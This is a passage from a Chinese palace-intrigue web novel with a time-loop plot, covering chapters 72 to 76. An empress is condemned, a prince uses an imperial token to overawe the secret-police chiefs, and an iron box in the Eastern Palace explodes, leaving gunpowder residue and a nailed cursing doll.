她终于吐露了秘密,但整个过程,她都死死咬定这是国舅主导的藏匿,她是被迫的帮凶,而太子是完全无辜的。
哪怕最终与国舅有所勾结,也是国舅的胁迫,而非自愿。
她伏在地上,肩膀耸动,泣不成声,等待着皇帝的最终裁决。
“呵……”
昭明帝喉间溢出一声短促而冰冷的笑,那笑声里没有半分温度,只有彻骨的失望与讥讽。他垂眸看着伏在地上颤抖的身影,目光如看一场早已洞悉结局的拙劣戏码。
“朕的好皇后啊,”他缓缓摇头,每个字都像是淬了冰,“从头至尾,你这张嘴里,可曾吐露过一句真话?”
他向前踱了半步,明黄的袍角几乎要触到皇后低俯的额头,无形的威压如山倾覆:“为了太子,你当真是煞费苦心,机关算尽!就连那来历不明的黑衣人,你都能毫不犹豫地扣到已死的国舅头上……真是,难为你了。”
“陛下!臣妾所言,句句属实!绝无半句虚言,苍天可鉴啊!”长孙皇后如同濒死的困兽,猛地抬起头,脸上泪痕交错,眼神却带着一种孤注一掷的急切和“恳切”,试图做最后的挣扎。
昭明帝停下脚步,就那样居高临下地凝视着她,目光锐利如刀,仿佛要剥开她所有的伪装,直刺灵魂深处。
他的声音不高,却带着一种无可辩驳的逻辑力量,一字一句,清晰无比地砸下:
“好一个‘句句属实’。”
“那你告诉朕——”
他微微倾身,目光锁死皇后骤然收缩的瞳孔,语气冰冷如铁:
“既然那黑衣人是国舅的人,是替你兄长来逼问、甚至灭口的……”
“他为何要自称是朕派去的人?”
“为何要口口声声说,是奉了朕的密旨前来问话?”
“嗯?”
最后一个上扬的尾音,如同最终审判的钟声,敲碎了所有虚妄的伪装。
“!!!”
长孙皇后瞳孔骤然紧缩成针尖大小,仿佛被一道无形的闪电劈中!她脸上那强装出来的委屈、急切、乃至最后一丝血色,在刹那间褪得干干净净,只剩下死灰般的惨白。
她的嘴巴无意识地微微张开,喉咙里发出“咯”的一声轻响,像是被人猝不及防地扼住了咽喉。
她猛地抬起头,一双因极度惊骇而几乎失焦的眼睛,难以置信地望向昭明帝那冰冷而洞悉一切的面容。
完了。
这是她脑海中唯一剩下的念头。
第72章 如朕亲临
陛下他知道了?
他怎么会知道?
难道周昕阳来的时候,被宸察院的人发现了?
还是周昕阳是骗我的……从始至终,他都是陛下的人?
一瞬间,数个念头,在长孙皇后心中浮现。
恐慌的情绪随之蔓延。
陛下知道了,一切都完了……
长孙皇后一阵绝望,在绝望过后,她立刻想到了周昕阳:“陛下,这都是周昕阳的阴谋,都是他算计臣妾的!陛下冤枉啊!”
昭明帝冷哼一声,“哼,都到了这个时候,你还想把脏水泼到老九身上?”
“从始至终你都在说着谎话,若不是老九发现了你与黑衣人的交谈,朕还要被你蒙在鼓里,信了你这鬼话……”
“什……什么?”长孙皇后猛地抬起头,脸上的表情瞬间凝固,像是听到了世间最荒谬、最不可思议的事情。惊骇、茫然、以及一种被巨大荒谬感击中的错乱,在她眼中疯狂交织。“老九……发现了臣妾跟黑衣人的……交谈?”
她喃喃地重复着这句话,每一个字都像是费了极大的力气。
什么黑衣人?
那晚闯入熾璋宫,**逼问的,自始至终不就只有周昕阳一个人吗?
哪里来的第二个黑衣人?
还交谈?
一个可怕的、让她浑身冰凉的念头如同毒蛇般钻入她的脑海:周昕阳!是周昕阳!
他不仅自己来了,还提前安排或者虚构了一个“黑衣人”?
他是在用这种方式,为自己铺好后路,将所有的杀戮和逼问,都推到一个根本不存在的“替身”身上?
而自己居然在无形之中,帮他圆了这个谎?
陛下相信了这套说辞……
陛下相信了当晚有“黑衣人”和“周昕阳”两个独立的角色存在?
老九把自己伪装成了一个偶然撞破秘密的“发现者”,而非亲身参与的“逼问者”?
巨大的冤屈和一种被彻底**于股掌之间的愤怒,瞬间冲垮了皇后最后的理智。
她意识到,周昕阳不仅拿走了她的把柄,还精心设计了一个剧本,让她百口莫辩!
现在哪怕她坚持说黑衣人是周昕阳,陛下也不会相信了。
因为陛下已经先入为主地相信了“老九发现黑衣人”这个故事的情况下,她的指控只会被当成疯狗乱咬人,是攀诬皇子,罪加一等!
但如果不说,她就要替周昕阳背下所有的黑锅,尤其是那些太监宫女和宸察院人的命!
这绝望的认知让她如同坠入冰窟,又像是被架在火上烤。在极度的冤屈和愤怒驱使下,她再也顾不得许多,像是抓住了最后一根可能同归于尽的稻草,声音尖利得几乎破音,指着虚空,仿佛周昕阳就站在那里:
“陛下!陛下明鉴啊!不是这样的!他在撒谎!周昕阳他在撒谎!”
她几乎是爬行着向前几步,头发散乱,状若疯癫,再无半点皇后的雍容华贵:
“根本就没有什么黑衣人!从头到尾,只有周昕阳一个人!是他!是他杀光了臣妾宫中的人,也是他逼问臣妾假玉玺和假龙袍的下落!他才是那个心狠手辣、包藏祸心的逆贼!陛下,您千万不要被他骗了!这一切都是他的阴谋!”
昭明帝冷漠地看着她歇斯底里的模样,眼神里没有一丝波澜,只有彻底的厌恶和冰寒。在他看来,这不过是皇后走投无路时,更加无耻和疯狂的攀咬。
老九一个无权无势的皇子,最弱小的藩王,哪来本事在宫中做出这等事?
更何况,老九是主动来揭发的,若他是凶手,何必自投罗网?
这贱妇到了此刻,还想拖他的儿子下水!
“哼!”昭明帝从鼻腔里发出一声极重的冷哼,如同寒冬里的一块坚冰砸在地上,“死到临头,还在攀诬皇子!你的良心,当真被狗吃了!”
他拂袖转身,不再看她那令人作呕的表演,声音里充满了帝王的决绝:
“老九亲眼目睹你与那黑衣人密谈,你还敢在此颠倒黑白,将脏水泼到他的身上?长孙氏,你不仅罪大恶极,更是冥顽不灵!”
“陛下!臣妾冤枉!臣妾说的都是真的!是周昕阳!是周昕阳啊——!”皇后发出凄厉得不似人声的尖叫。
“闭嘴!”昭明帝厉声打断她,语气中带着不容置疑的终极判决,“你的戏,该收场了!来人!”
御书房门轰然洞开,两名如铁塔般的禁卫应声而入。
“皇后长孙氏,参与谋反,罪证确凿,不思悔改,竟敢攀诬皇子,罪加一等!”昭明帝背对着她,一
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字一句,如同刻印在冰冷的史册上,
“拖下去!打入冷宫,没有朕的命令,任何人不得靠近!朕,再也不想见到这个女人!”
“遵旨!”禁卫轰然应答,上前毫不留情地架起瘫软如泥、仍在嘶声哭喊“冤枉”的长孙皇后,粗暴地向殿外拖去。
她的哭喊声、挣扎声,渐渐消失在幽深的宫道尽头。
御书房内,重归死寂。
昭明帝站在原地,良久,才缓缓闭上眼,深吸了一口气,那挺拔的背影,在烛光下竟也显出了几分难以言说的疲惫与苍凉。
屏风之后,周昕阳静静伫立,面无表情地听着这一切。
皇后的结果,早已注定。
从太子周炳宸被拿下开始,皇后的下场就不可能好。
长孙家一定要倒台。
国舅投注太子太多,长孙家同样也付出太多,已经到了难分彼此的地步。
正因为如此,当他们发现皇帝有了易储的心思后,立刻有了应激反应。
他们承担不了太子被废的风险。
而新太子上位,这些支持废太子的势力就要遭到清洗,这是历史的必然。
周昕阳·精读史书,自然很清楚。
“老九,你出来吧。”昭明帝的声音响了起来。
“父皇。”
周昕阳从屏风后,走了出来,对着昭明帝恭敬一礼。
“这件事,你做的不错。”
“太子之事,皇后之事,你立下了大功。”
“你想要什么赏赐?”
“尽管说。”
昭明帝揉着眉头,整个人精神似乎很是疲惫。
“父皇,儿臣想要便宜行事之权。”
“臣打算继续开箱,但不想受到宸察院的约束。”
“这种被当成嫌犯,关起来的感觉,太难受了。”
“儿臣受不了。”
周昕阳开口道。
“行。”
“随便你吧。”
“只要不出宫,你想做什么,就去做吧。”
“尽快打开铁箱。”
昭明帝打开抽屉,拿出一块金色令牌,丢给了周昕阳,上面刻着四个大字:如朕亲临。
“拿着它,宸察院就知道该怎么配合你了。”
“是,多谢父皇。”周昕阳双手捧着令牌,躬身行礼。
第73章 敲打宸察院高层
砥野王府外的一处街道拐角处。
“燕惊鹊,你的判断失误了。”
“泽川王在皇宫里……”
“现在人已经在御书房,和陛下见面。”
“我们撤。”
冷千嶂得到消息后,冷声道。
“是。”
燕惊鹊低头,沉默不语。
……
宸察院,幽深院落的最深处,一间灯火通明的房间。
主位之上,周昕阳闲适地靠坐着,单手执一盏白瓷茶杯。
他并未急于饮用,而是先垂眸,静静观赏着杯中载沉载浮的碧色芽叶,氤氲的热气模糊了年轻俊美的面容,唯有那双眼底,沉淀着与年龄不符的深沉与倦懒。
空气里弥漫着上等龙井的清冽茶香,却压不住那份几乎凝成实质的沉寂。
半晌,他才将杯沿凑近唇边,极轻地呷了一口,动作优雅从容,仿佛置身于自家王府的花厅,而非这令人闻风丧胆的宸察院核心重地。
下首处,三道身影垂手而立。
掌院学士萧景琰面沉如水,目光低垂,落在自己官袍的暗纹之上;左提督使沈砚眼观鼻,鼻观心,如同老僧入定;右提督使厉斩秋则身形挺拔如松,但微微紧绷的下颌线条,泄露了他内心的不平静。
三人目光偶有极短暂的无声交汇,旋即分开,始终无人开口,任由沉默在室内蔓延。
“萧大人。”
周昕阳终于放下茶杯,杯底与紫檀木桌面接触,发出一声轻微的脆响。他抬起眼,唇角牵起一抹浅淡的笑意,打破了令人窒息的寂静。
“你这里的龙井,滋味清远,回甘悠长,不错嘛。”
萧景琰闻声,立刻躬身,姿态恭谨:“王爷谬赞,臣惶恐。若王爷喜欢,臣尚余些许,稍后便让人包好,送至王府。”
“倒也不必如此麻烦。”周昕阳轻轻摆手,语气随意,却带着一丝难以捉摸的疏离,“有些东西,偶尔尝之,是风雅趣事;若日日饮用,反倒失了新鲜,难免无趣。”
他话锋倏然一转,语调依旧平淡,却让室内温度骤降:
“人呢?”
“还没回来?”
萧景琰保持着躬身的姿势,应道:“回王爷,刚接到传讯,人已在路上,即刻便到。”
周昕阳点了点头,目光似是不经意地扫过右侧的厉斩秋,看似随意地问:“厉大人,那个戴着面具的,是你内缉司的人吧?”
厉斩秋心头一凛,上前半步,拱手沉声道:“回王爷,正是。他是臣之下属,内缉司掌案千户,冷千嶂。”
“嗯。”周昕阳鼻腔里发出一声意味不明的轻哼,手指无意识地摩挲着光滑的杯壁,“方才他对本王,可不太好,几番盘诘,视若嫌犯。”他顿了顿,声音里透出几分冷意,“本王,不太高兴。”
话音未落,他已从袖中取出一物,随手拍在桌上。
“啪!”
一声清越震响,打破了先前的压抑!
那赫然是一面玄底金字的令牌,“如朕亲临”四个大字,在灯光下熠熠生辉,刺得人眼疼。
萧景琰、沈砚、厉斩秋三人脸色剧变,几乎是不假思索,齐齐跪倒在地,额角瞬间沁出细密冷汗,伏身道:
“臣等万死!”
“哼!”
周昕阳将茶杯重重一顿,茶水险些溅出。他目光如刀,缓缓扫过跪在地上的三人。
“孤是藩王,刚在东宫案中,立下大功,不是你们宸察院可以随意盘查、呼来喝去的嫌犯。这其中的分寸,诸位大人,可懂?”
他的话语一字一句,清晰冰冷,敲在每个人的心头。
“臣等该死!御下不严,冲撞王爷,罪该万死!恳请王爷恕罪!”萧景琰为首,三人以头触地,声音带着不易察觉的微颤。在这“如朕亲临”的令牌前,任何辩解都苍白无力。
“不懂规矩……”周昕阳仿佛在自言自语,声音却足以让每个人听清,带着一种居高临下的漠然,“今日是孤在此,若换作其他宗室,或是朝廷重臣,被你们这般对待,不知道的,还以为我大虞朝的宸察院已经嚣张到连皇亲国戚、有功之臣都视作逆贼了……”
三人微微颤抖,不敢吭声。
周昕阳不再看他们,仿佛厌倦了这场训诫,重新执起茶杯,凑到唇边,轻轻吹开浮叶,慢条斯理地品了起来,将跪在地上的三位宸察院巨头彻底晾在了一边。
书房内死寂无声,只剩下周昕阳偶尔杯盖轻碰的脆响。
萧景琰、沈砚、厉斩秋三人跪伏于地,姿态卑微,额角鬓边的冷汗悄然滑落,浸湿了衣领,却无人敢抬手擦拭,甚至连呼吸都刻意放轻,生怕再引来座上亲王的不悦。
沉闷的空气仿佛凝固成了巨石,压得人喘不过气。
就在这极度压抑的时刻——
“吱呀”一声轻响,房门被从外推开。
一道戴着暗金色面具的挺拔身影迈步而入,正是奉命返回复命的冷千嶂。
他刚踏入房内,目光所及,瞬间僵立在原地,仿佛被一道无形的冰棱钉住了脚步。
主位之上,悠然品茶的,,正是他带着内缉司精锐四处秘密搜寻、却始终不见踪影的泽川王周昕阳。
这位王爷此刻竟如此闲适地坐在宸察院的核心重地品茶?
这……
而更让他心神剧震的是,乃至掀起惊涛骇浪的是——自家宸察院的三位最高长官掌院学士萧大人、左右提督使沈大人和厉大人,此刻竟齐刷刷地跪伏在地,姿态是前所未有的恭谨与难以掩饰的惶恐?
这怎么会
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?
这怎么可能?
宸察院从始至终,都只对陛下负责。
任何皇子、藩王,都指挥不到这里……
可如今?
一股荒谬感冲击着冷千嶂的认知。
宸察院,皇权特许,独立于朝纲之外,素来只对陛下一人负责!纵是亲王之尊,亦无权干涉院务,更遑论让这三位巨头如此卑微跪地!
可眼前铁一般的事实,却冰冷地击碎了他的固有认知。
泽川王周昕阳,他不仅坐在了那个象征最高权威的位置上,更以一种近乎碾压的姿态,掌控了全场。
空气中弥漫的,不仅仅是茶香,更是令人窒息的无上威压。
冷千嶂面具下的瞳孔骤然收缩如针,一股冰冷的寒意不受控制地从尾椎骨窜起,瞬间席卷全身,直冲头顶。
“臣,参见王爷。”
冷千嶂压下心头的万丈波澜,没有半分犹豫,迅速趋前数步,在三位上司侧后方撩袍单膝跪地,抱拳行礼,声音透过玄铁面具,显得低沉而恭顺。
“回来了?”
周昕阳仿佛才注意到他,抬起眼皮,淡淡一笑,随手将名贵的白瓷茶杯搁在桌上,发出清脆的声响。
他目光落在冷千嶂身上,带着一种洞悉一切的了然,语气平淡却蕴含着石破天惊的力量:
“怎么?”
“没在二皇子、三皇子的府邸外围……找到孤的踪迹,很失望吧?”
嘶——!
一句话,如同惊雷炸响在冷千嶂耳畔!
他心头猛地一缩,血液似乎都在瞬间凝固。
泽川王怎么会知道?
他不仅精准地道破了自己方才的真正行动去向,甚至连自己那一闪而过的、未能完成任务的微妙失望都能看穿?
这等未卜先知、洞察人心之能,简直神鬼莫测!
好恐怖的心机!好深沉的谋算!
冷千嶂跪在地上,面具遮掩了他剧变的脸色,但微微绷紧的肩线,却泄露了他内心的惊骇。
而跪在他侧前方的厉斩秋,此刻亦是心头狂震,后背瞬间被冷汗浸湿。前往二皇子、三皇子处秘密蹲守的计划,是他点头同意的,这也是燕惊鹊的建议。
难道说就连燕惊鹊的想法,以及他们的反应举,也都在这位王爷的掌控之中吗?
还是说,宸察院中有王爷的人……
厉斩秋不敢再想下去,一股更深的寒意将他牢牢攫住。
“行了,不耽误时间了,把锁匠们都叫起来吧。”
“继续开锁。”
“天快亮了。”
“从今天开始,昼夜不停,安排锁匠,轮流交替开锁。”
周昕阳站起身来,手里握着“如朕亲临”令牌,大步走出了房门。
“是。”
众人齐声回应。
第74章 铁箱炸了
东宫,开锁现场。
众锁匠揉搓着眼睛,三三两两的,走了过来。
“什么情况?”
“这么早?天都没亮啊?”
“这就开始了?”
“这么卷的吗?”
“要**……好困!”
“我们进度不是挺快了吗……”
锁匠们长吁短叹地抱怨着。
周昕阳看着这一幕,面无表情。
一旁的冷千嶂被吓了一跳,连忙瞟了一眼身旁的周昕阳,见对方没有厌恶表情,这才松了一口气。
“吵什么吵?”
“让你们过来开锁,就开锁,哪来这么多废话?”
“快去开锁。”
冷千嶂冷声喝道。
“是。”众锁匠有气无力的回应道。
“王爷,我们到那边休息。”冷千嶂微微躬身,低声道。
“不必了。”
“你就让他去尝试开第四把锁吧。”周昕阳随手指了一个不认识的锁匠。
“他?”
“是是是。”冷千嶂先是一愣,随即点头,“你,过去开锁。”
“我?”锁匠一愣,但还是老老实实过去尝试开锁。
“敢问大人,你打算怎么开锁?”公孙启主动走了过来,对冷千嶂说道。
“什么怎么开锁?”冷千嶂语气有些不耐。
“就是开锁的方法,这个锁,如果贸然尝试,会导致锁芯锁死,就再也打不开了。”
“只能用蛮力来开了。”
“这个世界上,就没有打不开的锁。”
公孙启认真的说道。
“这点我认同。”周昕阳接过话头,“所以,这位大人的方法也很简单,就是****。”
“一边破解机关锁,一边尝试割断锁链,撬开箱子。”
“你倒是提醒我了。”
“大人,直接撬铁箱缝隙吧。”
“啊?”冷千嶂一愣,他把周昕阳拉到一旁,低声道:“王爷,我们是开锁,直接撬,会不会有点不好?”
“没什么不好的,目的是开箱,你管我怎么开的?”周昕阳轻描淡写的说道,“能开不就行了嘛!”
“额……说的也是。”冷千嶂想了想,是这个理,“行吧。”
“你去弄吧。”
冷千嶂指着公孙启吩咐道。
见状,周昕阳微微蹙眉,一个想法,在他心中浮现,难道说,公孙启的死亡,是必然的结局?
知晓铁箱之中有**的周昕阳,肯定不会靠近开锁了。
因为对公孙启比较熟悉,加之,前几轮建立的联系,这一轮,周昕阳就打算不让他**。
想着救一救公孙启。
这才随手点了一个路人。
可没想到,公孙启居然主动送上门来?
这让周昕阳有种宿命不可更改的感觉。
不过下一刻,周昕阳心中涌起另一个想法。
宿命不可改?
呵呵!
我偏要逆天改命!
“先等等,让他算一下有多少种解法,让其他人先去开锁吧。”
周昕阳开口拦下了公孙启。
冷千嶂微微一愣,但还是没有拒绝周昕阳,“你先等等,你,过去开锁。”
“不用算,我直接就可以说出来。”公孙启连忙说道:“排列组合一共有三十六万二千八百八十种……”
“闭嘴。”周昕阳冷声呵断公孙启的话。
“额……”公孙启表情一僵,低下头,一脸委屈,他不明白,自己算的快,也有错了。
周昕阳看着不远处准备撬锁的两名锁匠,不动声色的后退了两步。
嗯?
冷千嶂微微一惊,也跟着后退两步。
公孙启见两人都后退,为了合群,他也后退了两步。
随后——
伴随着两名锁匠的撬箱……
“滴滴滴……”
突然,铁箱内,传出了急促的滴滴滴声音。
“嗯?”
“怎么回事?”
冷千嶂面具下的脸色微变,差点忍不住想要上前查看。
可前脚刚一向前跨出去,他就顿住了。
想起刚刚周昕阳的异常举动,他略微犹豫后,转头看向周昕阳。
“王爷,我们一起过去看看。”
“不急。”周昕阳神情平静,淡淡回答。
瞬间,冷千嶂就冷静了下来。
但不知为何,心中的不安愈加强烈!
突然,公孙启疑惑开口,“这是什么声音?”
“好急促,好刺耳,而且越来越大声了……”
下一瞬间——
“轰!”
巨大的**声响起,
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震耳欲聋,响彻整个东宫。
炽热的火光瞬间覆盖两名锁匠……
“挖槽!”
冷千嶂脸色一变,连忙扑倒一旁的周昕阳,将他护在身下。
周昕阳脸上恰到好处的露出“惊慌”之色,看着眼前的这一幕。
这一反应,被冷千嶂尽收眼底。
难道是我猜错了?
冷千嶂也有些迟疑了。
可一切都太巧了!
仿佛周昕阳能未卜先知一样……
“发生什么事情了?”
“灭火!”
“快灭火!”
“走水了!”
“快来人!!”
一瞬间,整个皇宫都被惊动了。
上下乱成一团。
刚刚入睡的昭明帝也被惊醒。
“发生什么事情了?”昭明帝掀开布帘,冷声问道。
小德子颤颤巍巍的回应:“回陛下,东宫突然发生了**,目前情况不明。”
“让萧景琰过来见朕。”昭明帝冷声道。
“是。”小德子连忙跑了出去。
片刻之后,萧景琰走了进来。
“参见陛下。”
“到底发生什么事情了?”昭明帝脸色阴沉,东宫的突然变化,让他心头不安。
“难道说,太子在东宫还藏了**?”
突如其来的**,让昭明帝有了一个猜测。
这个猜测,实在是太疯狂了!
东宫藏**?
他想做什么?
造·反?
什么时候藏的?
还是说,太子很早就有不臣之心?
想要弑父杀君?
“回陛下,消息传来,是东宫的那个铁箱出现了问题。”萧景琰禀告道。
“铁箱?”
“里面放了**?”
昭明帝脸色难看,“伤亡情况呢?”
“老九有没有受伤?”
“没有,泽川王没有受伤,就是两个锁匠**。”萧景琰回答。
“嗯,好好安葬,给他们家属一些钱粮。”昭明帝松了口气,点头道。
“是。”萧景琰行礼。
“这件事的负责人,还有老九,让他们火速来见朕。”
“朕要知道其中的细节。”
昭明帝用手揉着眉心,只觉得脑子一阵乱麻,头疼无比。
第75章 **残骸
东宫,**现场。
周昕阳看着不远处灰烬残骸,“冷大人,派人收集一下残骸,想清楚等等怎么跟陛下汇报。”
“对对对。”冷千嶂如梦初醒,连忙指挥人开始清理残骸,“快,灭火,上去收拾,小心点,别破坏证物。”
几个宸察院的探子,开始整理灰烬中的东西。
周昕阳没有参与,只是远远的看着。
说实话,他也很好奇,铁箱里是什么东西。
但此刻不急,接下来的梦境,他有很多时间去一一辨认。
周昕阳也不认为昭明帝会瞒着自己……
因为没必要。
况且,周昕阳手里还有“如朕亲临”的令牌。
“陛下让你们火速觐见。”一个宸察院的探子,手握密令,快步跑了过来。
“走吧。”
周昕阳对此并不意外。
这么大的动静,昭明帝没动静,才见鬼了。
冷千嶂深吸了一口气,吩咐道:“你们继续清点证物,在我回来之前,谁也不能离开,更不能破坏证物。”
“听到没有?”
“是。”众探子都明白事情的重要性,齐声回应。
“嗯。”
冷千嶂轻嗯一声,快步跟上周昕阳,朝着皇帝寝宫而去。
……
皇帝寝宫内,灯火通明,却驱不散那股压抑凝重的气氛。
昭明帝披着外袍,不停揉搓着眉心,坐在龙榻边缘,面色在跳动的烛光下显得晦暗不明,显得极为疲惫,他目光低垂,不知在想些什么。
萧景琰垂手侍立在一旁,眼观鼻,鼻观心,大气不敢出。
周昕阳和冷千嶂一前一后走了进来,躬身行礼。
“儿臣(微臣)参见陛下。”
昭明帝没有立刻叫起,沉默如同实质般压在两人身上。
过了好几息,他才缓缓抬起头,目光如鹰隼般首先钉在周昕阳脸上。
“老九,说说吧,东宫那声巨响,是怎么回事?你没受伤吧?”
周昕阳保持着行礼的姿势,语气平稳地回答:“回父皇,儿臣无恙,谢父皇关心。**源于那个铁箱。锁匠在尝试开锁时,触动了箱内机关,引发了**。”
昭明帝微微颔首,将目光转向冷千嶂:“冷千嶂,你来说,细节。”
冷千嶂心头一紧,脑海中瞬间闪过周昕阳后退的画面以及自己随之而来的猜测。
他飞快地权衡着:点破泽川王的异常,固然能显得自己观察入微,但势必引来陛下对王爷更深的猜疑。这位王爷看似平静,却总给人一种深不可测之感,今日之事更是诡异……多一事不如少一事,或许,装作不知才是明智之举。
电光火石间,冷千嶂已做出决定。他连忙将头埋得更低,用带着后怕和自责的语气禀报道:“回陛下,皆是微臣失察,未能预料到箱中竟有如此歹毒的机关!事情是这样的……”
他详细叙述了过程,从锁匠**,到周昕阳随意指定一人尝试,再到公孙启建言可****,周昕阳同意并指派两人上前操作。
关于周昕阳的部分,他描述得极为简略和平常,丝毫没有提及那关键的后退两步,只将重点放在锁匠的操作和突如其来的**上。
“……那两名锁匠刚将工具插入箱缝,箱内便传出急促的‘滴滴’声,未等微臣反应过来,**就发生了!火势瞬间吞没了他们……微臣救援不及,罪该万死!”冷千嶂的声音带着恰到好处的颤抖,将一场可能引发猜疑的汇报,变成了单纯的意外事故和自己失职的请罪。
昭明帝听着,眉头微蹙,但主要的不满似乎指向了事件的本身和冷千嶂的“失职”。
“废物!如此重要的证物,竟这般疏忽大意!”他呵斥了一句,但并未在周昕阳的行为上深究,显然冷千嶂的汇报成功地误导了他,让他认为这只是一起由于机关狠毒而导致的意外。
“箱中残骸,可曾清点出什么?”昭明帝冷声问,注意力已从“为何**”转向了“**后留下了什么”。
冷千嶂暗自松了口气,知道这一关暂时过了,连忙回禀残骸清理情况:“回陛下,残骸还在收集中,具体要等清点结束后,才能知晓。”
“景琰,你走一趟,亲自
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清点这些残骸。”昭明帝吩咐道,“还有**究竟是哪里来的?你派人去工部,让负责**的官员过去协同调查。”
“朕就在这里等你,半个时辰之内,朕要一个答案。”
“臣遵旨!”萧景琰不敢怠慢,行礼后,快步离去。
昭明帝又看向周昕阳和冷千嶂:“开锁之事,暂且搁置。冷千嶂,详细列册呈报。老九,回去歇着吧。今日之事,不得外泄。”
“微臣遵旨。”
冷千嶂行礼道。
“父皇,儿臣睡不着,也想帮忙。”周昕阳拱手道。
“行,那你就去现场吧。”
“你也比较熟悉。”
“到时候,跟萧景琰一起过来复命。”昭明帝吩咐道。
“是。”周昕阳见目的达成,当即行礼,“儿臣告退。”
“臣告退。”冷千嶂也行礼,退出了寝宫。
两人一同返回东宫。
“冷大人,替孤隐瞒,孤感激不尽。”周昕阳一边走着,一边低声说道。
冷千嶂观察了一下四周,“王爷,臣不知道你在说些什么。”
闻言,周昕阳嘴角勾起一丝弧度,“看来冷大人也是识时务的人,哈哈!不错,不错。”
冷千嶂忍不住询问:“王爷,你究竟是怎么猜到铁箱之中有**的?”
怎么猜?
拿命猜的!
周昕阳心里吐槽,但表面上,依旧风轻云淡:“谁告诉我猜到了?”
“我什么也不知道,只是觉得那个位置风水不好,想换个地方站站。”
冷千嶂听着周昕阳拙劣到演都懒得演的谎言,一阵无语,心中却愈发笃定这位王爷身上有秘密。
两人各怀心思,沉默地回到了**现场。
此时,东宫偏殿前的空地上已被清理出一片区域,火把将四周照得亮如白昼。
萧景琰办事效率极高,不仅指挥人扑灭了余火,将锁匠们安全疏散,还将所有**残骸分门别类,整齐地摆放在铺开的白色麻布上。
空气中弥漫着刺鼻的硝烟和焦糊味。
周昕阳抬眼望去,残留之物共有五样。
第76章 五件残骸证物
“王爷,残骸已初步清理完毕,请过目。”
萧景琰指着这些残骸,说道。
周昕阳点点头,目光投向那五样被单独列出的证物:
第一样:是几块焦黑扭曲的金属片,依稀能看出是箱体的碎片,边缘呈撕裂状,显示出内部**的巨大威力。
第二样:是一小堆黑灰色的粉末和颗粒,旁边放着几块未曾完全燃尽的、质地奇特的木炭。一名工部官员正小心翼翼地捻起一些粉末嗅闻、观察,脸色凝重。
第三样:是几片烧得边缘卷曲、焦黄发黑的绢布残片,上面似乎曾有过图案或文字,但已被大火毁去大半,难以辨认。
第四样:是一块约拇指指甲盖大小、边缘融化变形的玄铁片,上面隐约可见一道扭曲的刻痕,材质冰凉沉重,绝非寻常之物。
第五样:也是最引人注目的一样——那是一个约半尺长、被烧得面目全非的人形物件。它似乎是用某种混合了泥土和纤维的材料塑成,此时已开裂焦黑,但依稀可辨出头颅和四肢的轮廓。最诡异的是,这人形物件的胸口位置,深深钉入了一根细长的、同样被烧黑但未完全熔毁的铁钉!
嗯?
所以说,铁箱之中装的真的是巫蛊之术的东西?
周昕阳看着这些东西,微微皱眉。
难道自己真想复杂了?
其实铁箱里的东西,其实很纯粹,很简单?
根本就不存在什么奇妙玄幻之物?
这个想法,在周昕阳的脑中一闪而逝。
但很快,他就打消了这个想法。
**后的残渣,不能代表开箱后的完整实物。
如果里面布置了手脚,那么炸出来的东西,或许不会完整保存。
现在能留下来的,都是体积大的东西,小体积的东西,混在残渣里,很多时候,是鉴定不出来的。
周昕阳不认为鉴定师真能还原里面的所有东西。
这不现实。
所以,开箱,还是要继续。
等等……
如果打破循环的时候,铁箱已经被破坏了,那是否意味着自己永远都打不开箱子了?
一瞬间,周昕阳想到了一种可能。
他的脸色瞬间变得难看了起来。
这是他无论如何都不能接受的结果。
萧景琰仔细观察着周昕阳的情绪变化,他微微皱眉,说实话,他有点看不懂,对方的情绪究竟代表着什么?
从一开始的平静,到后面的凝重,再到最后的脸色难看。
这一系列的情绪变化,让他有点摸不着头脑。
冷千嶂面具之下的脸色,在看见这些东西的刹那,就变得极其难看。
冷千嶂久经官场,也是见识广博之人,他立刻联想到了宫中最为忌讳的东西——巫蛊之术!
巫蛊之术,在大虞朝是极为忌讳的事情。
因为在煜暎朝时期,某位宫中的贵妃娘娘,就曾因为巫蛊之术,导致全族被屠,牵连了十几万……
从那之后,巫蛊之术就是皇宫中的禁忌,这是谁也不能触碰,也不敢触碰的东西。
稍有不慎,不光自己脑袋搬家,就连九族都保不住。
太子居然真的敢弄这种东西?
嘶!
他胆子是真的大啊!
那工部官员查验完第二样证物,起身向萧景琰禀报:“萧大人,已确认,这些粉末是硫磺和硝石无疑,纯度很高。这木炭……也非寻常炭火所用,似是特制,能助燃增爆。”
萧景琰深吸一口气,淡漠吩咐:“行,退下吧。”
“不该说的,不该问的,记得谨言慎行。”
“明白。”工部官员满头大汗,恭敬行礼。
第五样证物,太危险,太吓人了!
工部官员根本不敢引火上身,甚至不敢多看一眼。
“王爷,此物,你怎么看?”萧景琰指向第五样证物,低声问道。
“人偶、铁钉……呵呵,这个太子,还真是胆大包天,敢在宫中施展厌胜之术!”周昕阳呵呵一笑,语气森然。
其实是不是巫蛊之术,已经不重要了,当参与造·反,被宸察院拿下的时候,太子周炳宸就已经废掉了。
听闻此话,萧景琰、冷千嶂脸色微变,周昕阳居然如此当而皇之的说出来?
这可是禁忌啊!
“萧大人,”周昕阳开口,声音平静却带着一丝寒意,“此事已经显而易见了,
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你可以回去回禀父皇了。这铁箱所藏,恐怕涉及宫闱禁忌。”
萧景琰重重地点了点头,额角已有冷汗渗出。
今夜发生了大多的大事。
无论是国舅、太子意图起兵谋反被发现,还是铁箱**,以及残骸中的疑似巫蛊之术的东西。
都揭露了一件事。
太子完了。
朝野上下,支持太子的**势力,恐怕也要被清扫。
而清扫的借口,肯定是参与谋反。
君要臣死,臣不得不死!
萧景琰沉声道,“这些证物,需原封不动,严密看管起来!”
“任何人都不能靠近,一切等陛下圣裁。”
“冷千嶂,陛下令你详细列册呈报,把这些内容也都写上吧。”
“是。”冷千嶂拱手回应。
“王爷,我们走吧。”萧景琰看向周昕阳。
周昕阳开口道:“第四把锁的碎块,收集一下,让锁匠拼合一下,看下能不能复原出正确的开锁密码。”
嗯?
萧景琰一愣,眉头逐渐皱起。
冷千嶂也是一头雾水。
这第四把锁都碎了,都被炸成这个样子了,还复原寻找开锁密码干嘛?
这不是多此一举吗?
“王爷,这恐怕是无用功吧?”冷千嶂见自家大人情绪不对,主动开口。
“是否无用功,做了才知道。”
“怎么?”
“孤的命令,你们不听?”
周昕阳从怀中拿出那块“如朕亲临”的令牌,在手中晃了晃。
“咳咳!”萧景琰咳嗽了两声,吩咐道:“冷千嶂,既然王爷吩咐了,你就照做。”
“是。”冷千嶂行礼道。
“王爷,那我们走吧。”
“嗯。”
周昕阳和萧景琰朝着御书房赶去。
